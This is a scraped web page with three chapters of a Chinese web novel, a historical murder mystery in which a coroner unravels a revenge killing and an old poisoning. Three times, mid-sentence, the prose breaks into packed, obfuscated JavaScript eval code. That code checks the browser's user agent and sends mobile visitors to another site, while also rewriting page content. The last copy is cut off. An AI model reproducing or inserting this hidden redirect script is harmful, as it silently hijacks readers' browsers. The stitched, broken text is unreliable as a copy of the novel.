郑观澜不想王子仪的事捅出来,让她伤心,只能说道:“她心思深,你根本就玩儿不过她,有朝一日,她把你卖了你都还得帮她数钱。” “莫名其妙,我和闻姐姐又不是敌人,我为什么要玩儿过她?”宝应越想越生气,“你这人真讨厌,难怪闻姐姐也不喜欢你。” “她喜不喜欢我很重要?!” 郑观澜音量陡然提高,把宝应吓了一大跳,瞪圆了眼睛看着他。 “我……”郑观澜清了清嗓子,“你快去收拾行李,路已经打通了,等会儿就回家。” “可以回家啦!”宝应一下开心起来,双手合十,“总算不用呆在这个鬼地方了。” “路通了?”颜子光大摇大摆走进来。 郑观澜点点头。 颜子光一掌拍在他的肩上:“可算能走了!都赖你,好好的突然说要来这个鬼地方,闹出这么多事,我这几晚都不敢合眼。” 宝应附和道:“我也是!一闭眼就像是看见那些尸体……那个鲁铭真的是脑子有病!” “以后找地方玩儿可再也不听你的了。”颜子光说道,“也不知道你犯什么病,平日里平康坊都不去的人,竟然应了裴籍的邀约?” “你不是最喜欢这些吗?”郑观澜冷冷扫了他一眼。 颜子光摆手:“我们下次还是去喝茶看书吧。” “别老想着玩乐。”郑观澜提醒道,“距春闱可没几日了,等回京就要去礼部报道。” “多大点儿事,人我已经叫好了,就你我还有何素武原。” “还差一人。” 科举报道之时需要五人一组,互相为保。五人中,任何一人出现什么问题,另外四人都会被连坐。 “到时候随便拉一个不就行了。” “得知根知底。” “知道了!你真是太啰嗦了。” 郑观澜无言。 “你何时才能稳重些?若是那人有什么问题,我们也会被牵连。” “我们在这山上困了好几日,别人肯定早就结好伴了,能怎么办?”颜子光摆摆手,“这每年能进京的外地举子都是有公文的,能出什么事。我看你就是思虑过多。” 宝应见缝插针:“还说别人闻姐姐心眼儿多呢。” 颜子光一针见血。 “就是瞧别人不顺眼挑刺嘛!干他们那一行的,心眼不多能行吗?对了,那个闻仵作伤得重不重啊?” “没死。” “啧,真冷淡。”颜子光咂咂嘴,“我倒是觉得这个闻蝉人挺好的,干脆利落不娇气。” 郑观澜听得心烦,指向门口。 “门在那边,请便,我要收拾行李了。” 颜子光知道他这是赶人,骂骂咧咧走了。 “狗脾气,也就得了闻蝉那种人才治得了你……” 郑观澜忍无可忍:“谁要她治!” 18. 另一件公事 卓啸带来的人手把涉案的鲁铭和齐放还有牵扯其中的证人一齐接手,又让人找了个轿子抬闻蝉下山。 面前的“轿子”是由几根竹竿子搭成的,看上去摇摇欲坠,放下的时候还会发出嘎吱嘎吱的声音。 闻蝉坚强地站直。 “我没事,能走。” 卓啸十分大气。 “有啥不好意思的,都是弟兄。” 闻蝉坚定向前踏出几步。 “我怕摔死。” 卓啸见她真能走,也不管了,摆摆手让人把“轿子”扔掉,跟了上去。 “诶!方才我把鲁铭那个小子给审了一遍,觉着有些不对劲儿啊。” “哦?你在质疑我?” “你别和我打哑迷啊,你这案子明显没完,还有后山的事呢!” 已经走到山庄门口,闻蝉瘸着腿从阶梯上走下。 大门外,不少宾客都聚集在此处,准备下山。 卓啸拉着她:“闻瘸子,你今儿不方便,我们等会儿再走?” 闻蝉用自己的好腿踢了他一脚。 “你先人才是瘸子!” 卓啸学她的口音学得惟妙惟肖。 “我先人都死咯!” “狗学人!” 卓啸却笑得更开怀了。 闻蝉嫌弃地挪开一步:“真对不住,还把你骂爽了。” 卓啸嬉皮笑脸凑过来:“我突然想起我们小时候头一回见面的事。” “嗯,记得,你带着五个小屁孩嘲讽我说话有口音。”闻蝉记仇至极。 她才到京城的时候,官话说得不太流利,以卓啸为首的一群小孩不知从哪里知道她是汉中人,堵着她学她说话,嘲笑她说不好官话。 “你也是真是个惹不起的人,竟然故意不说官话,用汉中话阴阳怪气骂我们,还在你姑母面前给我们上眼药,害得我被我爹打得半死,说是我们妨碍了你学官话。你说这叫什么事儿啊!” 闻蝉“哼”了一声。 “说明你们又坏又蠢,骂不过打不过还算计不过,真是一群废物。” “你这张嘴。”卓啸龇牙,伸出罪恶的手指往她伤口上一戳。 “嗷!”闻蝉疼得蹦起来叫唤,“你要死啊!!” 卓啸大笑:“像个癞蛤蟆似的。” 闻蝉直接一脚朝着他要害处招呼。 “吃我一腿!” 卓啸太了解她的套路,一闪躲开。 “你真是够下作的。” “都你爹教的!” 卓啸举起手:“得嘞,我认输,你别蹦了,等会儿伤口崩开了就好玩儿了。” “罪魁祸首。”闻蝉掐了他一把,“回去我就找少卿告状!” 卓啸被掐得表情扭曲。 “你有空告状,不如先把两个案子的卷宗都写完再说吧,还有验尸格目,你这次也没写。” 闻蝉瞬间垮下肩膀。 “好了,不要再说了。” “嘿嘿。”卓啸伸着脖子,“两个案子的卷宗也不多嘛,就是后山的尸体多了点,有三十多具。” “杀人犯不需要写卷宗。” “啊?” “我现在想弄死你,然后就不需要写卷宗了。” “那我谢谢你,我也算能休息休息。”卓啸货真价实打了个哈欠。 自从几日前收到消息,知道闻蝉在查案的时候被困在山上,他连夜就带着人赶了过来,眼睛都没有怎么合过,一直盯着人修路。 其余人也是正在年尾最忙的时候,一群大理寺的人都东倒西歪站着。 郑观澜从山庄里走出来看到的就是这样一番场景。 他缓步走到闻蝉跟前,就像是没看见一旁的卓啸一般。 “我有话要和你说。” 卓啸睁开眼:嗬,把他当死人呐! 闻蝉想了想,往旁边无人处走了几步站定。 “何事?” “《伥鬼录》,软筋散,还有许多谜团没有解开。你到底在算计什么?” “郑郎君,这案子本和你无关吧?如今,那采花贼也已经落网,你为何如此执着?”闻蝉看着他的双眼,想要从中看出些什么,“我很好奇。” 郑观澜喉咙动了动,声音变得有些艰涩。 “到底是数条人命,难道不重要吗?” 这个回答让闻蝉有些意外。 这个世家子弟,会在乎人命? 她犹豫了一二说道:“等会儿下了山我就告诉你。” “好。” 正说着话,裴籍等人也走了出来。 几人朝着郑观澜点点头,郑观澜心里腻味得紧,只匆匆扫了一眼就算是打过招呼。 见他的样子,闻蝉有些发笑:“讨厌他们还和他们打什么交道啊。” “欠了人情,不得不还。” 闻蝉自然是不会追问的,也不感兴趣。 “看来要等许久才能过桥。卓啸。”她喊道,“除了鲁铭和齐放,把其他证人松一松,让他们自己活动活动。” 卓啸摆摆手,让人放开对其余人的看管,自己则找了根柱子靠着假寐。 “宝应呢?”闻蝉问道。 “她行李多。” “你那个朋友行李也多?” 朋友指的是颜子光。 郑观澜无奈叹气:“更多。” “啊——” 一身尖叫刺得人耳膜生疼。 吊桥边上,裴籍满身是血倒在地上。 边上的人吓得大叫:“杀人了!” 又是一刀。 刘江将刀刺入柳中庭的胸口,干脆利落,满脸快意。 下一个目标…… 他扬起刀,冲向李成芳。 李成芳反应倒是快,躲身闪开。 郑观澜正要上前,却被人生生拦住。 是闻蝉,她挡在他的面前。 “闻蝉?你……” 闻蝉面无表情,眼里满是冷意。 “刀剑无眼,郑郎君身娇体贵,莫要以身犯险。” “你……这是?” 另外一边,李成芳已经挨了几刀,却未中要害,躺在地上滚动。 而他身旁的仆从都反应了过来,慌慌忙忙将刘江拿下。 闻蝉这才松开钳制郑观澜的手,走了过去。 “李郎君无碍吧?” 仆人看着浑身是血的主人哭得不停:“挨了好几刀哇!” 一个中年男子从山下的方向疾步而来。 他面容和李成芳有几分相似,只是看上去年轻些,没有那么流里流气,像个读书人。 “二哥!二哥!”那人跪在李成芳面前,眼泪一颗一颗往外滴,“这是什么回事?!” 闻蝉主动道:“李郎君,是我们大理寺不慎,那刘江本是凶案的一个证人,我们看他岁数大,就没太在意,放他活动,谁知他会突然行凶。” 那男子斯斯文文抹了抹眼泪,指了人去找大夫。 “也不能全怪大理寺。”他说话慢条斯理,很是和气,和气得甚至有些懦弱,“只是,这人你们得依律处置了。” 闻蝉拱手:“这是自然,请李三郎放心。” 李成学点点头:“我自是信任闻仵作的。” 忽然出了这样的事,忙着下山的人也都让开路,让人先把裴籍三人抬下去。 而闻蝉也将刘江捆了起来。 卓啸满头雾水:“不是……这老头儿是为啥啊?” “给他儿子报仇呗。” “为了鲁铭啊?”卓啸挠了挠头,“鲁铭自作孽,他杀裴籍他们干嘛?” 闻蝉没有回答:“你去帮着管事收拾残局,顺道把凶案现场记录在案,别在我这儿晃荡。” 卓啸瘪瘪嘴,向吊桥走去。 郑观澜又走了过来。 “我似乎明白了。” “你明白什么?”闻蝉问道。 “鲁铭是为了取悦裴籍好日后脱籍,才故意制造命案。《伥鬼录》就是证据。” “你倒是理解裴籍他们的想法。” 郑观澜顿觉恶心。 “我和他们可不一样。” “哦。”闻蝉还是觉得他们区别不大。 “刘江知道,所以,他要为鲁铭报仇,因为鲁铭明明是为裴籍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16779668|190345||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 犯案,裴籍却没能保住他。” “你说对了一半。”闻蝉从怀里掏出一份卷宗,卷宗有些发黄,明显是放了好些年。 “刘山君,壬寅年生人,于七月十三在龙门山庄失踪。若是他还活着,算来,今年也该有三十岁了。” 一直低头不言不语的刘江缓缓抬起了头,沾着血的白色须发被风吹得微微颤着。 “儿子……” 闻蝉转过身,面对着他。 “大理寺每年都会清理积案,蔡少卿也从未放弃对此案的调查,几月前,我们找到了山庄后山尸骨的线索,经过查访后,锁定了大部分死者身份。蔡少卿立即令我前来调查。” “十五年了……”刘江缓缓跪倒在地,眼中留下两行浊泪,声音低低嘶吼着,像是粗粝的树皮在石头上碾磨,“我十五年前就报官了!你们为什么才来啊!为什么!” 闻蝉把木盒放在他面前,里面装着几个布老虎和银锁。 “刘山君是你的儿子,那鲁铭呢?最开始被你收养的时候,他也只是个孩子。你为了复仇,将他引向深渊,就是对的吗?” 刘江张了张嘴,眼里闪过一丝愧疚,可也就那一瞬。 “那也是因为裴籍本身就是个畜牲,若非他对待鲁铭如同猫狗,拖死不肯为他脱籍,我就是对鲁铭说再多,他也不一定会听我的。” “你原本的计划到底是什么?” “你查到了那么多,想必也知道《伥鬼录》的存在吧?” “我只找到三卷。” “我假意告诉鲁铭,通过制造杀人案满足裴籍等人的癖好,讨得他们欢心就能够博得一个脱籍的机会。鲁铭信了。我知道他恨我,任由他囚禁我拿走我写的《伥鬼录》去制造命案,讨好裴籍。事实证明,我的计划很成功。只差最后一卷……”看着眼前这个破坏了自己计划的人,刘江目光带着怨恨。 “最后一卷是什么?” “裴籍就是虎妖。我原本的计划是借机给裴籍等人下毒,然后把他们三个的皮剥下来再粘上我准备好的虎皮。这样,不仅他们会死,还会牵连给他们撑腰的家族。” “所以,密室的证物也是你故意让鲁铭放进去栽赃你的?” “这我确实不清楚,不过我也有我的后手,我只是个残废,怎么作案?唯独算漏了你。” “你当时并不惊慌。” “能查到这里的人也绝非一般人,我看得出来,你不会被他的小伎俩糊弄。” “你既然自己有能力作案,为何一定要利用鲁铭?” “裴籍不信我。他清楚得很,他害死了我的儿子,他心虚。自从我儿子被杀后,他就把鲁铭扔给我养,只让我教他机关术。”刘江嘴角抽搐了一下,像是在笑,“他没想到,我还是能杀了他。” “我已经给了你复仇的机会,你也杀了他们,但是,我希望你能够为点蕊她们的死而付出代价。毕竟,这一桩血债,也有你的份,不是吗?” 刘江却已经什么都听不到了,他痴痴看着木盒里的布老虎,嘴里念念有词。 “孩子……我的孩子……” 闻蝉站起身,掸了掸衣角。 “这就是你的打算?”郑观澜问道,“后山尸骨都是裴籍等人一手造成,你深知无凭无据无法将他们捉拿归案,所以干脆借刀杀人?” “是。裴籍等人为了寻乐,逼迫仆役与野兽相斗致使多人死亡,而那些女子则是被他们在在行房的过程中活活掐死。死者都是他们自己的奴仆,按照律法,只需要杖一百或者徒一年。若是他们再去走动走动关系,根本不会得到任何惩罚。” 闻蝉看向对面的人。 他满身绫罗,腰坠白玉,和他们是一模一样的打扮,一模一样的地位。 “郑郎君知道这个答案,可以去刑部或者御史台检举揭发我了。只是,你和我一样,没有证据。” “检举揭发?”郑观澜有些错愕,“在你眼里,我就是这样的人?” “哦~原来郑郎君是一位君子。” 郑观澜十分窝火:“至少不是恶意揣测他人的小人。” “闻仵作!”卓啸在吊桥前招手,“下山了!” 19. 心有芥蒂 下山的路上满是雪,马车难行,人又多,一时之间,最后下山的一行人被堵在了吊桥前,不得前进一分。 时间已经快过正午。 正巧旁边就有个小寺庙,大理寺的人就预备先去寺庙休息顺道用个午饭。 也是赶巧,郑观澜等人也是这个打算,两路人马在寺庙门口碰了个正着。 宝应是很欢喜能够和闻蝉在一块,拉着闻蝉问东问西。 卓啸抢先一步,敲开了寺庙的门。 门内出来一个小和尚。 “阿弥陀佛,施主有何事?” “下山的路堵住了,我一个同僚又伤了腿,不能久站,我们就想着在借贵寺宝地修整一二,不知可否行个方便。” 小和尚很热情。 “方便的。正好斋堂也备好了斋饭,各位施主也可去斋堂用点斋饭。” “那就麻烦了。” 小和尚带着一行人进寺庙安置。 一坐定,卓啸就以要为闻蝉拜药王菩萨为名去捐香火钱了。 小和尚也很体贴,见他们人多又押着犯人,就让斋堂去送饭来。 闻蝉则转身单独提了鲁铭进屋审问。 裴籍等人非死即伤,齐国公府柳家李家绝不会放过鲁铭,她得提前审问,才能把卷宗上的记录写清楚。 二人相对而坐。 鲁铭被绑住双手,面露惧色。 “闻仵作是准备在佛寺动手杀人?” “我杀你干嘛?”闻蝉懵了一下。 这人想什么呢? “难道不是吗?齐国公他们一定不会放过我,你定然是受了齐国公的指使……” 闻蝉抬手:“打住,我可不是谁家养的恶犬。你还没有交代你的作案过程和动机,这些都要记录在卷宗上。我是为了写卷宗才提审你的。” 鲁铭见她真没有杀意,手上还真拿着笔,确实只是像在审人,平静了下来。 “你不是都查到了吗?还有什么好问的?” “你不好奇,为什么刘江会暴起杀人吗?” 鲁铭的表情变得复杂起来。 “他……是为了替我报仇吗?” 他的双眼中隐隐带着期盼,他希望能听到一个他想听到的答案。 闻蝉竟然有些不忍心说出真相。 她斟酌了一二,将话说得模棱两可。 “他是作为一个父亲,去杀人。” 只是,在刘江心里,鲁铭从来都不是他的儿子,而是他复仇的一个工具。 鲁铭长出一口气,苦涩一笑。 他得到了想要的答案,却似乎不是想象中那么高兴。 “我构陷他,他却……明明路也是我自己选的。裴籍一直扣着我不给我脱籍,即使我制出传说中的木鸢他还是对脱籍一事只字不提。表面上,我是他的宾客——鲁大师,实际上,我还是他的奴才。我想要自由身,从知事那一日起,我就想。你知道吗?我的父母就是裴家的奴才,不知道因为什么,就在一个晚上,他们被主子打死了。他们的尸体血糊糊的,冰凉凉的。我不想落得这样的下场……” “这就是你杀人的原因?” “人不为己,天诛地灭!”鲁铭眼神骤然狠厉起来,“要怪只能怪他们命不好!” 闻蝉知他已入魔障,也不愿和他多饶舌。 人死如灯灭,对方悔恨也换不来那些鲜活的性命。 “你是如何杀害点蕊她们的?” 鲁铭气息还未平复,喘着粗气。 “那日凌晨,我把她们骗到戏台下说是要试试机关和舞蹈的配合。她们到了之后,喝下了加入软筋散的药物就昏迷过去。等到正午,齐放扮作点蕊来我房中了一趟,做完戏,我才悄悄去了戏台下,将夹竹桃泡的水给她们服下。软筋散真是个好东西,不仅能让她们死后躯体也十分柔软还省去了我灌药的力气。” 闻蝉低头写着:“戏班的案子。” 鲁铭迟疑了一二。 有件事他亦想不通。 “我只让齐放换剑,没有让他下毒。” 见闻蝉沉默以对,他以为是对方不信这话,辩解道:“你可以去问齐放,我真没让他下毒!开刃剑确实是我做好给齐放的,但毒真不是我下的。我都这样了,没必要再骗你。” “我知道。”闻蝉继续问道,“那三个人呢?” “那三人和我相熟,我先带他们去看我用来捕捉老虎的机关,等他们一到,我就把他们推入机关之中,之后,我把机关扔到了悬崖下,将他们尸体用机关吊起挂在了树上。” “没了?” “没了。”鲁铭有些焦躁,“都这到这个份上了,我何必骗你?” “刘江密室里的毒药和细索也是你放进去的?” “是,只是我没料到你会验出软筋散,漏了一样。当时我听说你们抓了齐放就知道事情要糟。于是连夜去把东西放入密室,又转身来救他。原本我打算就在岩石洞时就解决掉齐放顺道嫁祸给刘江,谁成想你留了后手!” “还有一事。”闻蝉得把每一个疑问搞清楚,“戏叶曾说点蕊给她托梦,说凶手的物证就在岩石洞那处。” 鲁铭有些讶异:“她竟说了这些?” “是,我们在她的指引下找到了李成芳的手帕。” 鲁铭表情有些复杂。 “那日下午我去点蕊她们房里销毁物证的时候,听见外面有动静,一看竟是戏叶来了。她不知为何而来,就在窗户外偷看,躲又躲不了。情急之下,我随手拿了一件粉衣裳套上装作了李成芳。你知道的,这山庄里就他爱穿那样子。我本是想着戏叶会顾忌李成芳身份,看见了也不敢说。”鲁铭一笑,“她胆子还真是大。” 闻蝉起身,将他拉起来。 “做好准备,或许一到大理寺你就会被带走。” “我爹……刘江呢?” “你们谁都跑不掉。”闻蝉问道,“不怕?” 鲁铭笑着摇头:“怕也没用,不是吗?如今想想,裴籍他们被杀,我反而觉得畅快!” 闻蝉推开门。 “点蕊她们何其无辜。” “闻仵作应该不知道,即使脱籍,他们也会被柳中庭带去折磨一番,能不能活着出来还是未知之数。” 闻蝉没有作声,鲁铭继续说道:“我听李成芳说起过你的事,我还以为你会理解我。” 闻蝉顿住脚步。 “我和你不一样。” “哪里不一样?” “我答应过我爹娘,要好好活着。” “我们确实不一样,你是有奔头的。闻仵作。”鲁铭的声音像是卡住了片刻似的,“祝你早日成功。” *** 审完了人,闻蝉才去用饭,宝应给她留了好几盘子菜饭,乖乖坐在桌子旁边等着。 只是……旁边还有个死人脸郑观澜也在。 “闻姐姐快来!”宝应叽叽喳喳介绍着素斋,“这里素斋好好吃哦,都很清淡但是滋味又十足。” 闻蝉心中一暖。 虽然最开始接触宝应是为了暗中保护以免王子仪对其下手,但是很多时候她都觉得意外…… 郑家怎么也能养出秉性如此良善的孩子? “都是你给我挑的?” “是呀!”宝应昂起头,“都是你爱吃的,这里的蘑菇可真好吃,好多我都没有见过呢。但是你放心啊,肯定没毒,表哥刚刚都吃过了。” 郑观澜:合着他是个试毒的? 闻蝉笑了笑,心里的沉重散去不少,拿起筷子吃了起来。 等她放下筷子,宝应才问道:“那个鲁铭招供了没有啊?” “将死之人,也没挣扎,交代得干干净净。” “那你能轻松很多。”宝应提议道,“我听说这边的方丈解签很准,快要过年了,我们一起去求个签问问运势吧?” 闻蝉看她兴致勃勃自然不会扫兴。 三人去了庙宇的正殿。 方丈就在殿门口站着。 “郑施主来了?”他语气很是熟稔,“这位就是陆施主吧?” 宝应点点头:“方丈,您认识我吗?” “上次郑施主过来……” 郑观澜打断了方丈的话。 “我表妹和她友人要来求签,请您解一解签文。” 方丈打量了一眼闻蝉:“这位就是闻施主吗?” 闻蝉有些意外,她从来没有来过此处。 “方才卓施主来此为您祈福,说是自己的同僚腿上受了伤。” “原来如此。大理寺人多,今日叨扰了。” 方丈含笑道:“客气了,三位请。” 郑观澜摆摆手,站在了门外,明显是不愿抽签。 闻蝉和宝应走了进去。 宝应诚诚恳恳对着佛像磕了头,双手合十念叨了许久才抽了签。 方丈拿着签文,笑得十分和蔼。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16786067|190345||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “陆施主都是为他人所求吗?” “嗯!我求的是家里长辈身子康健,我表哥早日成亲,还有闻姐姐日后公务能少一点少受伤。” 闻蝉悄悄摸了摸心口,暖烘烘的。 好想拐走…… 方丈失笑:“身子康健是一定的,至于郑施主的姻缘嘛……”他看向门外的郑观澜,“印堂微红明亮,喜上眉梢,好事将近。” 郑观澜就当没听见,板着张脸,一点儿也不像是“喜上眉梢”的模样。 “那可真是太好了,姑母也不用常常念叨了。” “至于闻施主。”方丈看了看闻蝉,“闻施主是个忙碌命,但即将高升,年前还会有一笔不小的进项,可喜可贺啊。” 不管是真是假,闻蝉听了有进项只觉得很开心。 “借方丈吉言。” 方丈将签筒递给她:“闻施主有伤在身,就不必跪拜了,直接抽签即可。” 闻蝉有些迟疑。 “这……会不会不太合规矩?” “心诚则灵,况且佛祖只希望渡众生之苦,又怎会让本就受伤的人跪拜受苦呢?” 闻蝉接过签筒,反而有些迷茫。 她向来只信人定胜天,一时之间还真不知道要求什么问什么。 怔忡之时,一枚签自己啪嗒掉了下来。 方丈将签文捡起:“这亦是天意。” 闻蝉扫了一眼。 签文上写着什么芥蒂? “施主心存芥蒂。” 闻蝉问道:“什么芥蒂?” “名利权位一切如庭中落花。不喜落花纷纷之人,从容而过,伸手拂去即可,可有谁会大呼小叫说要将那树也给砍掉? 闻蝉点头:“这样做的人是有些奇怪,像是在迁怒。” “是啊,是迁怒。” “方丈的意思是说我迁怒了谁?” 二人这边还说着话,宝应已经被郑观澜支走了。 等闻蝉解完签时,只看见郑观澜一人站在门口。 不知为何,闻蝉忽然想起了方丈的话。 她甩了甩脑袋。 这人本来就很讨厌! “我收到了消息。李成芳没有死,柳中庭和裴籍都死了。” 闻蝉表情一下变得难看起来。 该死的没死完。 “王子仪也好好的。”郑观澜问道,“你准备怎么办?” “上报。这次受害的人家也不是他得罪得起的。” 郑观澜轻笑:“我们打个赌。 “赌什么?” “赌你会输。” 闻蝉心中瞬间被点燃一股火。 “郑郎君应该好好读书,春闱就要到了,到时候名落孙山可太丢人。” “你这话刺激不了我。” “你想利用我?” “这是互惠得利。难道你以为受害的那几家人会愿意你把此事揭开吗?在王子仪的事情上,你根本没有可以利用的对象。” 闻蝉不得不承认他说的没错。 “你有什么办法?” “李家。” “李家?” “你和李成芳关系不错吧?” 闻蝉脸都黑了下来。 “你说这个是何意?” “李成芳是个最没脑子的人,这次又牵扯其中,你可以借后山尸骨一案诱其指证王子仪所犯罪行。” 闻蝉脸上升起一丝笑。 “你确实提醒我了。” “具体怎么做,你应该知道吧?” 闻蝉白了他一眼:“心机深沉。” “不如你。” 闻蝉才不想和他多说,摆摆手一瘸一拐走了。 郑观澜站在原地,一直没有动。 成生悄悄上前。 “郎君,你为何要帮她?明明我们自己也可以收拾王子仪。” “若是让李家去做不是更好吗?王家最近也太不老实了。” 成生是个直肠子:“你明明还是在帮她吧?郎君,你不是很讨厌她吗?” “贫贱骄人,是让人厌烦,却有几分傲气侠气。” 成生:“您这是骂人还是夸人啊?” “算是夸奖吧。” “那您以后可千万别在闻仵作面前这样夸人。”成生一脸认真,“她真的会打您的,若是伤了脸可了不得。” 郑观澜深吸一口气:“谁和她有什么以后!” 20. 灰色骨头 如闻蝉所料。 一行人刚到大理寺门口,就有人奉命来提鲁铭和刘江。 来的人是金吾卫一个将军,长得浓眉大眼十分英武,叫霍其彰。 双方都是熟人,健谈的霍其彰一开口便透漏了些消息。 “齐国公和柳家的人跑到陛下面前又哭又闹,陛下被闹得没办法让我们把人犯带走立即处决。你这案子到底怎么回事?那个什么刘江怎么突然暴起杀人?” 闻蝉说道:“报应。走之前,给他们好好吃顿断头饭吧。” 对裴籍等人的行事,霍其彰也知晓一二,不再追问。 “行,那我就先告辞了!” 送走了霍其彰,闻蝉马不停蹄去了监牢中,将先一步到的齐放提溜了出来。 齐放一见到她就磕头喊娘,哭得满脸又是泪又是鼻涕。 “您是我亲娘,我给您磕头,给您养老,您就高抬贵手就放过我吧,给我一个痛快吧!我下辈子做猪做马报答您!” 闻蝉看向一边正在摸鞭子的郎荣。 “你给他上刑了?” 已经三十岁的郎荣是个娃娃脸,长得清清秀秀,眼睛圆溜溜的微微下垂,看上去十分无辜。 “没有啊,还没来得及呢,他一进来就这样了,真脆弱。” 闻蝉看他这做作模样就觉着胃抽着疼:“你先出去。” 郎荣“哦”了一声,甩了一下鞭子委委屈屈走了。 刑房内只有二人在。 闻蝉问道:“齐放,你老实回答我的问题,可免皮肉之苦。” 齐放连连点头:“您问您问!” 他今儿算是长了见识了,那个大理寺深处的监牢抬出来的人都没有个完整的……现在别说让他交代了,就是让他学狗叫他都能扯着嗓子叫一天! “之前你去卢家作案时可是亲手伤了一个婢女?” “是……我帮王子仪放风,是那个婢女发现了我我才……”齐放连连解释,“小的没想要她的命!” 这一点闻蝉知道,那婢女被伤的只是手臂。 “你当时用的匕首是哪儿来的?” “匕首?”齐放没想到他会问这个,老实回答道,“那个啊?买的啊!” “在哪儿买的?!” 闻蝉突如其来的激动让齐放有点害怕:“云州那边……在一个匈奴人手里买的。” “匈奴人?” “嗯,是个匈奴的纨绔,在赌坊输光了钱,老板说要剁手指抵债,我正好在边儿上,他就拿这匕首跟我换了钱。”说到这事儿,齐放不由撇撇嘴,“还说什么那匕首很重要,之后要找我买回来呢,结果跑得连个人影儿都没见过!” “那人什么模样?有多大年纪?” “二十出头,模样啊……记不太清了。” 二十出头,对不上。 “我知道了。”闻蝉叹出口气,努力控制自己的情绪,“鲁铭让你杀人,是不是只杀了蔻君?” “是啊,豆娘真不是我害死的啊,我没有下毒,我只换了剑!”齐放举起手发誓,“我要是骗您我下辈子投胎做畜牲。” 这一点,闻蝉相信。 不仅是刘江鲁铭的招供,还有伥鬼录中的内容,都只提到戏子在唱戏之时自刎而死,并没有提到中毒身亡。 豆娘的死……凶手另有其人。 “闻瘸瘸,你问完了没?”郎荣从门外伸出脑袋。 闻蝉抬起腿。 “你说我现在要是踢一脚门,你那细细的脖子会不会被夹断?” “好残忍!”郎荣捂着脖子,跳了进来,“冷血无情的女人。” “那个丁沱呢?” “他呀?那不是证人吗?在外面堂屋里,没关他。” “谁说他只是证人!” “不是……”郎荣大惊失色,“他又是和哪个案子有关系啊?你这一趟出门惹了几起命案啊?!” “一个旧案,你少管。” *** 丁沱被带到大理寺已经有半个下午了。 大理寺的人很客气,虽然把他关在屋里,不允许他出来走动,但还是给他燃上了炭,倒上了茶水。 就像是对待一个普通的证人一样。 可他清楚…… 事实不是如此。 关闭的大门被打开。 徬晚特有的昏沉的光线照了进来,屋内明亮了起来。 丁沱站了起来,按在桌案上的手微微颤抖着。 闻蝉关上门,屋内陡然一黑。 丁沱猛地坐了下去。 “闻……仵作?” “丁大夫也不必害怕。”闻蝉随意找了个位置坐下,端起茶盏灌了一口,冰冷的茶水很涩口,也很醒神,“我只是有些事想要问你。” 这件事压在丁沱身上已经十五年了。 十五年来的仓皇逃窜,苦熬折磨,事到临头,他竟然觉得浑身一轻。 该来的总会来的。 “我知道你要问什么。” “那就请您把当年之事原原本本说一遍。”闻蝉瞅了他一眼,“我看你这些年过得也不好吧?” 丁沱苦笑。 “或是报应。但是,我并没有对你父亲做什么。他来的时候就已经中毒了!” 闻蝉手里的茶盏溅出两滴水。 深藏多年的秘密,一朝吐出,丁沱只觉得畅快。 “当时,你父亲在县衙受了三十杖,外伤并不严重,却一直没有愈合迹象,反而出现了化脓的情况。我立即就想到是不是伤口上沾染了什么污秽之物。经过诊断,我的猜想得到了证实,你父亲的伤口确实带毒才导致一直没有愈合。那时,我还年轻,竟想着他定然是在县衙受刑时被人下药暗害,就直接去找了县令报官。没想到,县令不仅没有去查,反而暗示我让我做个哑巴,给我塞了封口费。我想着你父亲,得罪了李家就是没有活路了,我自己也做不了什么,只能选择闭嘴。” “什么毒?” “只是普通的污秽之物。你如今也入了公门,应当知晓那些手段。” 沾着脏东西的板子,一下一下打上去,脏东西自然而然就被浸进了伤口中,事后伤口溃烂,人就会死,一点儿证据都找不到。 “他被害那日又发生了什么?” “这我真不清楚。那日,他如同往常一般来瞧病。我给他上了止痛的药物,他就走了。到第二日,我才从邻居那里得知他被强盗刺死的事情。之后……我也被追杀,逃离了汉中,来了京城投奔老乡,具体的内情我不清楚了。但是,我能确定。那一日他绝对不是被普通的强盗所害。” “为何?” “你爹那日忘记带钱袋子了,走的时候还和我说明日来的时候再把钱补上。他身无分文又是个普通百姓的模样,哪个强盗会莫名其妙杀他?” 闻蝉缓缓站起身,走到门口又停住。 “你之后有什么打算?” “无论如何,我所作所为已是罪无可恕。”丁沱缓缓跪下:“我甘愿伏法。” 闻蝉忽然想到了母亲生前所说的话。 若要公道,打个颠倒。 换做是她自己,她也不能保证有十成十的把握能够破掉当时的死局。 更何况…… “冤有头,债有主。你只是个普通人。即使当年你能站出来揭穿他们,也不能改变什么。我爹不是死在你的手里。” 丁沱不敢置信地抬起头:“你……” 这张让他只觉得陌生的脸竟在此时生出几分熟悉的味道。 “你很像你的父亲。” “你的家人也被害死了。什么账,都算是扯平了。” 闻蝉的手放在门上。 “等等!”丁沱快步上前,“其实你早就查到我了,是吧?” 闻蝉也不隐瞒。 “是,这次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 